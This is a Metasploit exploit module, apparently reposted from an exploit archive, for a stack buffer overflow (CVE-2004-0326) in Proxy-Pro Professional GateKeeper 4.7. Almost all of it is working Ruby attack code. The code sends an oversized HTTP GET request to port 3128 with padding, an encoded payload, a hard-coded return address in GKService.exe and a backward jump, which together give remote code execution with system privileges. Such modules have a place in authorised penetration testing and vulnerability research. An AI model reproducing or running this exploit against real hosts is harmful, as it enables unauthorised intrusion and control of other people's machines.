Proxy-Pro Professional GateKeeper 4.7 – GET Overflow (Metasploit)
## # $Id: proxypro_http_get.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Proxy-Pro Professional GateKeeper 4.7. By sending a long HTTP GET to the default port of 3128, a remote attacker could overflow a buffer and execute arbitrary code. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2004-0326'], ['OSVDB', '4027'], ['BID', '9716'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00+&=%\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe ], 'Privileged' => true, 'DisclosureDate' => 'Feb 23 2004', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(3128) ], self.class) end def exploit connect print_status("Trying target #{target.name}...") sploit = "GET /" + rand_text_english(3603, payload_badchars) sploit += payload.encoded + [target.ret].pack('V') + make_nops(10) sploit += "\xe9" + [-497].pack('V') + " HTTP/1.0" + "\r\n\r\n" sock.put(sploit) sock.get_once(-1, 3) handler disconnect end end |